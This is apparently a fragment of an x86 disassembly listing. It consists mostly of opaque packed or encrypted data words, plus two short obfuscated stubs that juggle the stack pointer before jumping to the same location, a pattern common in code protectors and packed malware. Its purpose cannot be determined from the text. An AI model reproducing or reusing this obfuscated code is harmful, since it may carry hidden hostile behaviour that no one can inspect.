		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 223DB885h, 106h, 10F5000h, 8FFE244Ch
		dd 223DBC85h, 0B4858D06h, 8D06223Dh, 223DBCBDh,	0E9388906h
		dd 23h,	31F9858Dh, 408B061Fh, 0F3170538h, 85899B46h, 6223DB4h
		dd 31F9858Dh, 408B061Fh, 0B885893Ch, 8D06223Dh,	223DD185h
		dd 75858906h, 0E9061F2Dh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 22404485h,	21858906h
		dd 8D061F1Fh, 22406C85h, 0AD858906h, 8D061F0Fh,	22409485h
		dd 25858906h, 0E8061F11h, 0Eh, 0C075B326h, 0F78D595Bh
		dd 0A71312A8h, 9E9B71Fh, 39000000h, 7B08446Ch, 5F3270DDh
		dd 81C08158h, 66000060h, 0B944EDBEh, 53D24D31h,	0CAC3C181h
		dd 0F08AAC2Dh, 815230FFh, 491831E2h, 665B5A66h,	0C381F78Bh
		dd 2D8139F6h, 11E8h, 30044D00h,	54543A68h, 4D144A5Eh, 0C998CAECh
		dd 815ACAE7h, 0E68ED5EBh, 0D6816642h, 0EB81217Ah, 2C6C52CAh
		dd 8F53FCh, 38E881F5h, 0E824112Ah, 5, 0F677F22Ah, 14E980h
		dd 0E28A0000h, 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h
		dd 815F65E7h, 112A34C0h, 40BA6624h, 850F4900h, 0FFFFFF84h
		dd 0A8F73EBEh, 0E281606Fh, 0DA3F2FFh, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A2A052C3h, 0B2E4A0C4h, 0C1BD83D9h, 61F06h, 0BD830975h
		dd 61F1F51h, 50197400h,	0B8C08B53h, 40Eh, 0F658589h, 9D8D061Fh
		dd 621AFA4h, 585BD3FFh,	1F51BD83h, 7400061Fh, 0B8535017h
		dd 40Eh, 0F658589h, 9D8D061Fh, 621AC93h, 585BD3FFh, 0FCF8B66h
		dd 6AC9BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0D11384C3h, 0E9F9C08Bh, 5, 0C046032Dh, 0F1BD83C2h
		dd 61F20h, 13840Fh, 0D9810000h,	46AF28Ah, 29AE9h, 0E2EA8100h
		dd 8A4D2021h, 6ADF8CD5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 8BDFC350h, 0BEF5BE6Ch
		dd 9C4B37DCh, 8820Fh, 870F0000h, 2, 0F7665E57h,	0F0004C7h
		dd 25285h, 68D0F00h, 81000000h,	3E12A4C6h, 0D38B663Eh
		dd 6AFF2Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 5FC80EC3h, 0D25C5D06h, 8D109415h,	2244B49Dh
		dd 9850F06h, 0F000000h,	383h, 0DED68000h, 0AE850h, 0FBC00000h
		dd 75E56D1Bh, 0F6F05F62h, 895EF28Bh, 6A241Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 3EAEDC3h
		dd 0F83BB5D5h, 64F28B66h, 35FFh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7CB9B5C3h
		dd 72BE667Dh, 13E8E9h, 82050000h, 84663BC3h, 0D044748Dh
		dd 9C7216h, 64B8538Eh, 178B0F58h, 0E9000000h, 12h, 874EE59Ch
		dd 68C2EDCh, 3ED9E8BCh,	0A7F8EB09h, 645E75EAh, 2589h, 0EA810000h
		dd 353AA9AAh, 0B70FC48Bh, 0A9F8B9F0h, 1CD344Bh,	10E800EBh
		dd 0AF000000h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 8BB14A3Dh
		dd 0E6815AD7h, 43A062CAh, 58F64h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0D5DAC351h, 4CFCD986h, 0C18822BAh, 9E97Ch, 2720000h
		dd 0D577E76Ch, 83C266D1h, 71B904C4h, 0B413DB4h,	0E8840FC0h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0E6FDC355h, 0E86E2B94h, 5, 28F55897h
		dd 77BA666Eh, 0F9615E8Bh, 7110BD8Dh, 6A061Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FE959C3h
		dd 183h, 0DBEF900h, 0F3761ACh, 48Ch, 0D0BE6600h, 1B8FFh
		dd 80600000h, 8166FED6h, 614901E8h, 6AE7FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 5E5025C3h
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 8166C3C0h, 6A6AEEE1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E07CC350h, 0FE714D4h, 289h, 61F78B00h, 0CEB70F53h
		dd 66C08B59h, 837D07BAh, 1F06C1BDh, 9750006h, 1F51BD83h
		dd 7400061Fh, 8B535019h, 40EB8C0h, 85890000h, 61F1395h
		dd 0B00B9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
		dd 40EB853h, 85890000h,	61F1395h, 0ACAC9D8Dh, 0D3FF0621h
		dd 14E8585Bh, 8A000000h, 826296A2h, 0E6E05ECAh,	98AAD1D1h
		dd 0F60973A9h, 81442952h, 7BC445C2h, 870F5922h,	0
aLLI		db '‹À‹Âë',8,0
		align 10h
		dd 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 61F0EF5h, 9A18858Dh,	88B0622h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 458A8D89h, 0BD830622h, 61F32C1h,	0F840F00h
		dd 60000000h, 95FF006Ah, 61F1D45h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 8685895Ah, 8B062245h
		dd 22458AB5h, 10CEC106h, 2728966h, 458AB58Bh, 89660622h
		dd 8B61FC72h, 22458685h, 958DC306h, 61F24E9h, 2159589h
		dd 9589061Fh, 61F1751h,	175185FFh, 85C6061Fh, 61F2025h
		dd 48D86853h, 0B5FFFCB1h, 61F20D9h, 394D858Dh, 0D0FF061Fh
		dd 1D458589h, 858D061Fh, 6223DEBh, 14F98589h, 20EB061Fh
		dd 8 dup(0)
		dd 5DDE9h, 5D1E900h, 78680000h,	0E9062248h, 0FFFD36FAh
		dd 22490568h, 36F0E906h, 9968FFFDh, 0E906224Ah,	0FFFD36E6h
		dd 224B3568h, 36DCE906h, 0D9FFFFDh, 0ECB97DF4h,	0D2D89C13h
		dd 0B5F4B82Fh, 970FD34Ah, 0EDA7F36Ah, 0CC43BEE8h, 0ED64AB08h
		dd 0B827F29h, 289F6047h, 623AE65Fh, 0F519B15Bh,	347434BDh
		dd 4546A9CDh, 8D0A9C65h, 0BC7CBE57h, 5B0B4BE9h,	7820B24Fh
		dd 2EE4B854h, 0CB4A9FD3h, 0CC512813h, 2A7C7094h, 9000000h
		dd 0D3A18459h, 4D40F71Fh, 709F14D4h, 0A327D34Ch, 0E15F5E8h
		dd 0E801D985h, 0E09425F5h, 688C8330h, 0D5047B2Fh, 36h
		dd 0F0467C5Eh, 3A5584B3h, 65F7189Bh, 59F519BDh,	1FD32585h
		dd 0D34C41F6h, 0F598144Ah, 0A7E49518h, 4363E783h, 5A0E15F5h
		dd 6E90ABE1h, 6658604Eh, 0EC10EFB6h, 0F37CFE75h, 0D3A16F47h
		dd 2A4E021Fh, 3FD1307Ah, 0D3A1D09Fh, 1AC4539Fh,	74B0083Eh
		dd 4DAEAC8h, 94B85CA3h,	0C23BC6E4h, 594EA502h, 0C86C14A6h
		dd 70C62DA4h, 22F6A21Bh, 0AD9FD2D0h, 0F4B367F9h, 0A2D940Bh
		dd 21D80E87h, 0F9AE39AAh, 0B18935AEh, 449FD2E8h, 47F36C90h
		dd 95EFF77Eh, 0DAD3FF3h, 0A5F1F739h, 4026594Dh,	90D4F435h
		dd 3CF08226h, 3911BD6Dh, 0CCA5F23Fh, 0D8E27418h, 3A989549h
		dd 0FCFE34BDh, 2D0B7828h, 345D35D1h, 67F0A5F2h,	0F234E3BBh
		dd 1EC276A5h, 3521F9A5h, 0B4A5F2h, 0DB7D61DCh, 0FECD7CA5h
		dd 0FB1FFFD9h, 75071465h, 8C19D989h, 8939E173h,	0A54DDF20h
		dd 90E881h, 0D65F0000h,	0F1EA522Ah, 0B84EF8A5h,	0CED8D00Ah
		dd 5ABDE195h, 0D604467Ch, 0D43816F0h, 0B7DA5DB0h, 0E52F923Eh
		dd 669C15F5h, 25A22496h, 0F62F53C8h, 9E09C942h,	327CF61h
		dd 0A0DDCA8Ah, 0A822C186h, 0A922C64Dh, 9889DA73h, 3256AA44h
		dd 4FB0F7BBh, 0FDD0DE8h, 537208F0h, 30Bh, 0AB22DFCDh, 0CA41BEE7h
		dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh
		dd 5553178Eh, 367135ACh, 108952C9h, 0B1598C64h,	74E71F19h
		dd 2D6DAh, 65456300h, 0CD8D0A9Ch, 71901ADBh, 390DA9CDh
		dd 611FD3A1h, 1FD3A30Dh, 0D3A16235h, 0A1B88C1Fh, 0CE01FD3h
		dd 571FD3A2h, 5DEF1097h, 21F591B5h, 925FD3A2h, 0CB77F0A5h
		dd 0D5F55B4Dh, 53AA3CF0h, 8C38B1E4h, 0DC128AE7h, 2CD3D494h
		dd 1B22188h, 0A1373A6Ch, 27E82h, 956C4000h, 0B44B5A1Eh
		dd 0D031793Dh, 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh
		dd 0C88C030Ch, 0E6AA21E0h, 0FEC73EC1h, 5901D985h, 5C9419B1h
		dd 0FE467CE9h, 8FD47A25h, 693EEE12h, 923D15C1h,	1CD01FD3h
		dd 0A88FE678h, 58C06CE5h, 0CB15F5DAh, 0CEDCA017h, 0A62FBC33h
		dd 0F5DA22FAh, 0DD01B525h, 0B847D2Dh, 11A35C4Bh, 5CB34569h
		dd 0B43DB6DBh, 0F5D93008h, 0EB0FC325h, 2156C672h, 25D91C18h
		dd 526121AEh, 5F832BBDh, 1820EFC3h, 0B2D7602Ch,	68218D39h
		dd 0E89C223Ah, 7F8AF6Fh, 0A3DCCE8Eh, 8A4CACAEh,	0D26408BBh
		dd 0CB8F062Ah, 0F19123DCh, 323A270Dh, 13EEB878h, 9BBF5063h
		dd 219AEF48h, 5C6DF575h, 0D1D89828h, 51118A2Eh,	0A532A956h
		dd 6C98701Ch, 772B385Ch, 0FB04A353h, 754DF982h,	0C8385C6Ch
		dd 5C6C441Ch, 0EA23D738h, 0E0801236h, 385C6CFCh, 6EE7AA8Dh
		dd 7EB452C2h, 9315D52Eh, 9151CA6Eh, 36CBDD16h, 50571B92h
		dd 71C61DAFh, 5A1AA31Ch, 0D38EB44Bh, 7DCA5762h,	8E12AED2h
		dd 3934A1A7h, 7F53F385h, 0E544A1A6h, 0F6C37866h, 172BA547h
		dd 0Ch,	0BE8559A4h, 142E1FD3h, 0B7000000h, 0AE9BC7Ch, 2AD2649Bh
		dd 30CFD686h, 0BB9C700Ch, 0A2FD1FD3h, 0DB870095h, 15F5E973h
		dd 9E16B0E6h, 6D1F6FD2h, 57E037C9h, 7EFC8126h, 3A4DFA91h
		dd 0EA6307ABh, 542CD861h, 0E725F620h, 1E730F33h, 0AB1C132Ah
		dd 0AF2990F7h, 69CFA6Ch, 0EAE7h, 100AC00h, 20DFC68Ah, 3CC5E5A9h
		dd 57A801C5h, 778A1CE0h, 0F3FAB400h, 13D74EB3h,	34F86FA0h
		dd 52168D74h, 6A33AA55h, 576D45F1h, 0C80019B1h,	7E95A255h
		dd 0D5903FD4h, 26DBCB2Eh, 0A448EC94h, 8A7AF52Bh, 1DABD3F8h
		dd 0B0D47889h, 0B7EEAE37h, 0B6EFC773h, 0CE821FD2h, 26A062Ah
		dd 7515F4FEh, 13BF48C1h, 25F4FC3Bh, 64F61ACEh, 7F8027E7h
		dd 0CE2145EDh, 0FFAB2469h, 1C120EB6h, 6EB3B5EBh, 0E60CF5B5h
		dd 4CCD77A9h, 2B1ECE17h, 9BD4F89Ch, 44C780E7h, 0EC82FA6Dh
		dd 4ECDh, 659C1000h, 847B2AEEh,	0A061490Dh, 0BB446529h
		dd 0DB268044h, 575E1864h, 773BB24Fh, 985CD33Ch,	0B67AF110h
		dd 0CE970EF1h, 56D1A955h, 2C6419B1h, 19DAB9h, 7C630000h
		dd 0DD2D1946h, 9DC19A23h, 9D49D24Fh, 1FD37EC5h,	0B1F4A458h
		dd 45C72A4Eh, 54089A67h, 661AAC53h, 792DBF42h, 8F43D53Ah
		dd 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h, 86A234CBh
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240489h, 4383h
		dd 68241489h, 529Fh, 53243C89h,	0AC0FB0BBh, 37C38149h
		dd 81149816h, 1C025EEBh, 6E3C106h, 5D72BA52h, 0D321709Bh
		dd 9AEB815Ah, 89F9E5F9h, 8B545BDAh, 0C483243Ch,	34815204h
		dd 0EA1AC624h, 8478F4Fh, 62CEBE56h, 0F681644Eh,	2BA47808h
		dd 5E087731h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		dw 0D6C5h
		dd 0E1EC52CBh, 0E517CA55h, 0B8EDB797h, 6224BA8h, 0C88BC503h
		dd 9FE900EBh, 0E9000006h, 693h,	224D7E68h, 3114E906h, 0DF68FFFDh
		dd 0E906224Eh, 0FFFD310Ah, 224F9C68h, 3100E906h, 5F68FFFDh
		dd 0E9062250h, 0FFFD30F6h, 22519D68h, 30ECE906h, 0FDAFFFFDh
		dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah
		dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh
		dd 519B155h, 258444CDh,	8125DCCEh, 8559FA5Dh, 0AD1FD3A1h
		dd 1FD3A1D5h, 0D3A23205h, 0A2885C1Fh, 13D31FD3h, 0AB476B94h
		dd 1FD3A2D6h, 0D3A32C00h, 759A9D9Fh, 26C1DEEh, 0DF4B434h
		dd 8B2FD37Bh, 0A8575212h, 15ED9916h, 0A89FD3ACh, 0B32C50F4h
		dd 1DF5A12Ah, 0B09FD3ACh, 0C33CD8FCh, 5895F0C3h, 76F52BA4h
		dd 0F3BD04F9h, 0E8198F3Fh, 118AAE56h, 22DDC888h, 14C4E890h
		dd 0BEF46D94h, 0EA0E5A6Ah, 55CCF06Fh, 0E19E08C8h, 30D74453h
		dd 9224C84Ch, 0BDA8C4EAh, 1B2FE148h, 946147F7h,	0D049ED14h
		dd 0D96B9610h, 247B0D31h, 59057E13h, 9C1002B4h,	8546AD61h
		dd 807A13BFh, 4C2CBEAh,	0E5C70000h, 0C4E1A51Ch,	0AA00C43Bh
		dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h,	158C8330h
		dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19B154h, 0F37C72E5h
		dd 0D3A16F47h, 2A4E021Fh, 40D22D7Ah, 5DA203C3h,	63FF23CBh
		dd 1FD3A18Eh, 0FB26B833h, 18DC53ACh, 6EF7708Fh,	0D3A1EAC2h
		dd 0A3C97D1Fh, 0C4FF7973h, 6E00247Eh, 8012EDBAh, 0C45D81FCh
		dd 1AA31CE3h, 0D363966Eh, 5175291Fh, 18C44DDAh,	1FD36340h
		dd 0A1F91FD3h, 0A7AEB9FAh, 0A5F48AAEh, 48F0945Bh, 419h
		dd 9D6245D5h, 0A1966B0Bh, 3AB91FD3h, 0D52A7DA4h, 701C955Eh
		dd 1FD3A198h, 0DEB662EBh, 711FD3A1h, 0A06099BDh, 0B66AFC13h
		dd 0D88012FDh, 57179034h, 115C2C53h, 1447161Ch,	1236DE70h
		dd 25DCCC80h, 9F7723ACh, 0F21FD379h, 0D3796E46h, 144D011Fh
		dd 38C53C60h, 7A2B03AFh, 0FEBE1FD3h, 1CC456A9h,	3A45478h
		dd 21136AFCh, 7B13EB97h, 0E6A61FD3h, 4AC3EC1h, 7FAB060h
		dd 0B229CD75h, 0B446B9EEh, 0B7EEAE37h, 720EB648h, 1FD37A9Ah
		dd 0A555792Dh, 0C888010Eh, 87FE22DDh, 0D37B03D7h, 0B0184E1Fh
		dd 0E1D54892h, 60530327h, 17A01DAFh, 0D2C8936Bh, 4E72261Fh
		dd 0E0593CFBh, 0EFDC5F34h, 0D138EC15h, 0F0332504h, 614C6B01h
		dd 66000003h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh,	0D69A11EEh
		dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h
		dd 3AF28F1h, 19B1542Bh,	451386BEh, 64249D62h, 842CBE41h
		dd 8D1ACE60h, 872CE072h, 0C4841188h, 6A970FE6h,	0FA8C30D8h
		dd 0FE922E52h, 491FD3A1h, 0A13C14C0h, 1BCF1FD3h, 0B1875BF7h
		dd 189B1FD3h, 0B2E865F7h, 0C87549F9h, 93C28ADDh, 91799AC0h
		dd 34C63B6Bh, 28C4E88Ch, 1FD47D54h, 0A682699Fh,	562404B8h
		dd 3558DF32h, 0AF8733BCh, 421FD43Ah, 45F16A8Eh,	15F11A40h
		dd 0A07824ADh, 3325F35Ah, 825A067Fh, 1525F35Ah,	50043D61h
		dd 32A70AE9h, 5A790FF0h, 2A4h, 87FE03A9h, 0A61DE2C3h, 0C239C8E2h
		dd 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h, 0A50ED249h, 792FF36Ah
		dd 5A4D1188h, 0EC652EA5h, 0B1526840h, 50C3FB19h, 1CC86245h
		dd 1FD3A144h, 0ED7F23D7h, 0FF916E39h, 89CC027Bh, 0BAF18963h
		dd 25B28A36h, 91451FD3h, 904EC9EDh, 72E91691h, 818E25E5h
		dd 0C0F2C75Dh, 2A1BF094h, 0A8000002h, 0D3A18559h, 0F20F991Fh
		dd 12EFB979h, 0A215ED99h, 0F4A81FD3h, 139559D0h, 0F3B575EEh
		dd 0A458EA0Eh, 0E76BFD04h, 0F9AF726Ch, 99CEFD33h, 2BB929ACh
		dd 0D2A8B78Fh, 0F2964A1Fh, 4588D17Bh, 4825F094h, 0B2000000h
		dd 870095A2h, 0F0BBAADBh, 147B2F15h, 0F0320795h, 0E17B9A30h
		dd 0E6000001h, 0C43BC6h, 1FE35AA5h, 3BFF768Bh, 561A916Eh
		dd 0EE3AB150h, 8C753134h, 0AD625115h, 0CB367236h, 0E8179054h
		dd 832FA871h, 19B151ABh, 4593063Eh, 670FA16Eh, 0AD8D39B2h
		dd 501FD3A1h, 52560A9Ch, 307636AFh, 7236ADD1h, 0E138CA35h
		dd 0FBBF3653h, 0A46B48ADh, 0B44B5E12h, 32D67A22h, 396E2EBBh
		dd 0B5F2A2C6h, 9C48D14Ah, 1FD3A1C4h, 0ED7FA357h, 1E957A39h
		dd 1FB1505Ah, 9D49C277h, 1FD3A1C5h, 0F30E9858h,	9E09B961h
		dd 8327CF61h, 886D3DF1h, 0A54DDF22h, 74FD8A01h,	0D3A1F0C8h
		dd 0ABCF831Fh, 42BDE58h, 1CF5C261h, 19CD5F03h, 49F97091h
		dd 1FD38175h, 954A8AC0h, 18EAE2C6h, 0F396A1F4h,	7EEBA7Ah
		dd 2BBD619Eh, 3AE65F83h, 15EFD369h, 1C13AEEh, 0ACE25BA4h
		dd 7EF1AE71h, 59057EE2h, 25F1E681h, 0C53C6014h,	0C95BA401h
		dd 0DC6E9315h, 0F2848B28h, 6840EC75h, 0FB25F1E6h, 4A22CE47h
		dd 0DD25F1E6h, 55550529h, 149D1AACh, 0F1E69068h, 4B6F2325h
		dd 0C9753FF8h, 25F1E6F1h, 8920D084h, 0AD59D276h, 1C0EF780h
		dd 54ADFDBDh, 0BDF61AC2h, 4B39A209h, 1EB4FA10h,	0A3FFh
		dd 0FD04A800h, 1CE3C286h, 38C9E1A5h, 53ACFDC1h,	738E18DCh
		dd 0EFF6B0FCh, 0FD34AB7h, 30F46BA4h, 4E128978h,	662FA659h
		dd 506941EDh, 0C4FC19B1h, 33F37C51h, 55FD8F80h,	0D3A1E1B9h
		dd 9CC0741Fh, 0B244BBECh, 0C456A9FEh, 3F19C540h, 0A1320AB6h
		dd 11C51FD3h, 956A3DEDh, 0D8D1911Eh, 226B9527h,	8073208Fh
		dd 1BB1D579h, 0F094625Eh, 206Fh, 0BC7CFC00h, 0D98113EEh
		dd 0A14419B5h, 4D5A1FD3h, 0BA0339B2h, 0E7BB8A7h, 0B7E65D81h
		dd 0Bh,	0A1855940h, 0E991FD3h, 0B6037AF1h, 28F7Ch, 0C62D0000h
		dd 89A6745h, 1AAC5354h,	2DBF4266h, 43D53A79h, 58EA178Fh
		dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh,	62A26886h
		dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5D7068h
		dd 241C8900h, 38A568h, 24148900h, 4C96BF57h, 0FB890622h
		dd 83243C8Bh, 0EC8104C4h, 4, 81242489h,	42404h,	575A0000h
		dd 8157DF89h, 4DF42404h, 428F53BFh, 86A8108h, 53BF4DF4h
		dd 24148B5Fh, 81E28952h, 4C2h, 4C28300h, 5C241487h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 6Dh
		dd 0A7212B4Dh, 0B8D76D4Dh, 6225265h, 0D18BC503h, 51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0E80009FDh, 11h, 74E656Fh, 0D89853EEh, 6FC2E8FFh
		dd 54CF723Bh, 0F8BF0F6Bh, 81CA8B5Ah, 720FC2h, 6800h, 0E9580000h
		dd 0Ch,	819643EEh, 7F0C6782h, 0F0BD4FEFh, 81021C8Bh, 0A622CBEBh
		dd 0D8E68120h, 8172D56Fh, 0DB7EC4C3h, 178D0F32h, 0E9000000h
		dd 12h,	544826CCh, 3BCAA122h, 2E8BB10Fh, 4623C141h, 0C3813EE0h
		dd 5B19EEEBh, 870Fh, 1C890000h,	4130BE02h, 6E8147Fh, 0E9000000h
		dd 1A7075E3h, 0A840FB8h, 0E9000000h, 5,	37003B95h, 0E8835E0Fh
		dd 80505202h, 5E59FCE1h, 81FC4848h, 0FF8ED0F8h,	0C850FFFh
		dd 0E9000000h, 2Fh, 2D1BBB47h, 0E9904F8Ch, 0Fh,	6144B347h
		dd 0A3F2BEB3h, 4BD1E09Fh, 0E92733A6h, 0FFFFFF60h, 921E0552h
		dd 72F267A8h, 0B7869B60h, 0E919D812h, 0D9h, 0FBE1D20h
		dd 2F82C12Ch, 0BEB6CFDFh, 365D54FDh, 0BCECA436h, 0C55DD500h
		dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h,	9CACAC32h
		dd 0F691B800h, 82CD64F7h, 3893h, 3C00h,	4000h, 9400h, 500h
		dd 100h, 0A2800h, 200h,	20h dup(0)
		dd 0B52B2E00h, 1F12E923h, 63680000h, 0E9062257h, 0FFFD2852h
		dd 22586D68h, 2848E906h, 3D68FFFDh, 0E9062259h,	0FFFD283Eh
		dd 2259CC68h, 2834E906h, 0B868FFFDh, 0E906225Ah, 0FFFD282Ah
		dd 225B9A68h, 2820E906h, 7E68FFFDh, 0E906225Ch,	0FFFD2816h
		dd 225D2968h, 280CE906h, 0BB68FFFDh, 0E9062260h, 0FFFD2802h
		dd 22612068h, 27F8E906h, 7268FFFDh, 0E9062262h,	0FFFD27EEh
		dd 22655D68h, 27E4E906h, 8C68FFFDh, 0E9062268h,	0FFFD27DAh
		dd 226C3368h, 27D0E906h, 9268FFFDh, 0E906226Dh,	0FFFD27C6h
		dd 226E0368h, 27BCE906h, 5D68FFFDh, 0E906226Eh,	0FFFD27B2h
		dd 226EC468h, 27A8E906h, 0B068FFFDh, 0E906226Fh, 0FFFD279Eh
		dd 2270DB68h, 2794E906h, 0E068FFFDh, 0E9062271h, 0FFFD278Ah
		dd 2BA25F4Dh, 4AC13E67h, 66DD2486h, 81F807A2h, 0A118E9BDh
		dd 14929B55h, 1B276EDh,	0D5D3970Eh, 0B6F1B52Ch,	9009D249h
		dd 0B14D0CE4h, 0F4679F19h, 0B9D6245h, 38AF5057h, 0AA2366D1h
		dd 0F0A9E9FEh, 5D407615h, 47DD1D65h, 39C23BDFh,	0F37AB58Dh
		dd 70944825h, 6A161DEh,	9BBF67F9h, 0F37B2BFFh, 0CC129125h
		dd 2F17568Ch, 145AE423h, 0DC1F5AF0h, 4FAE0974h,	3B000000h
		dd 870095A2h, 976A3EFEh, 8132D773h, 2BDF15F0h, 4C5C1C99h
		dd 21F591B5h, 3525F2C2h, 47FB8D72h, 0EE801F5Eh,	1C7C1E26h
		dd 0D554E678h, 47C62409h, 0FDD5A497h, 0FBF80974h, 6F000000h
		dd 0D9B15DE6h, 6C25F36Ch, 6C441CB8h, 23D725F3h,	62459CFFh
		dd 0CE8E0B9Dh, 510125DCh, 7333AC55h, 0BF3CCE33h, 0D3A13B13h
		dd 761ACE1Fh, 9B0CC052h, 29D6CF8Fh, 7B53EF97h, 971FD3A1h
		dd 2B6EF10h, 8F18CC5Eh,	0E9C1F770h, 18BE9105h, 73239ABEh
		dd 1FD343E0h, 0D74EB1F6h, 0E31E8A4Ah, 67980FBFh, 0F9858D5h
		dd 0AA3CC3E4h, 0E73A5E02h, 18C43D50h, 15F0539Fh, 27FFAB34h
		dd 4325F253h, 60089A67h, 58CF7327h, 0BE9642CBh,	5125F252h
		dd 1126799Dh, 1F57037Ch, 0B21C13C3h, 3CFC85FEh,	0C2729669h
		dd 679811E4h, 12892DD5h, 42A9584Eh, 0FA6D67C3h,	460524BAh
		dd 0E200001Ch, 0FCC037CAh, 1BDF56A9h, 37FB728Fh, 52168D72h
		dd 0EA36AD54h, 88792D30h, 0A9664D11h, 0C73A6E32h, 0E41B8C50h
		dd 7F2BA46Dh, 19B14AA7h, 458F023Ah, 9C29A061h, 0A18F6713h
		dd 6E221FD3h, 0F20D9A4Ah, 95A2047Bh, 36DB8700h,	0A315F081h
		dd 9F57A36Dh, 6D919E6Bh, 0CA357434h, 6B179038h,	25F2C293h
		dd 3CCE7226h, 0F2C2C89Ch, 36C9DC25h, 47BAF0A4h,	0C21CABB5h
		dd 508E0D6Bh, 7463AEEBh, 0DD3F09h, 45CC0000h, 570B9D62h
		dd 0A320B24Fh, 9955D96Dh, 143A4B22h, 0B61A2C9Eh, 0F490B477h
		dd 1FD36F61h, 58CF3077h, 5AEC1394h, 54553403h, 65F7089Fh
		dd 0D38719BDh, 0F39B2DD2h, 8632AB4Fh, 15F0800Dh, 956D19A2h
		dd 2825F27Eh, 0F259D074h, 9F624445h, 984C82FBh,	0D0A89872h
		dd 97295530h, 73DF6971h, 0C72AD64Fh, 741C136Fh,	1F8747C0h
		dd 0FCA969E2h, 0C153BCF7h, 3BE37519h, 0CADCA017h, 35CBD037h
		dd 0A83EFA6Dh, 1B3C89h,	2DD4D800h, 4CB3F2B6h, 689911D5h
		dd 837C2DF1h, 0A35E480Ch, 1F26E02Ch, 3F037A87h,	60249B74h
		dd 7E42B948h, 965FD629h, 4999711Dh, 0F42C19B1h,	0A0614581h
		dd 0E8426529h, 0D3A1643Ch, 9F43F71Fh, 0AD659B28h, 9B644361h
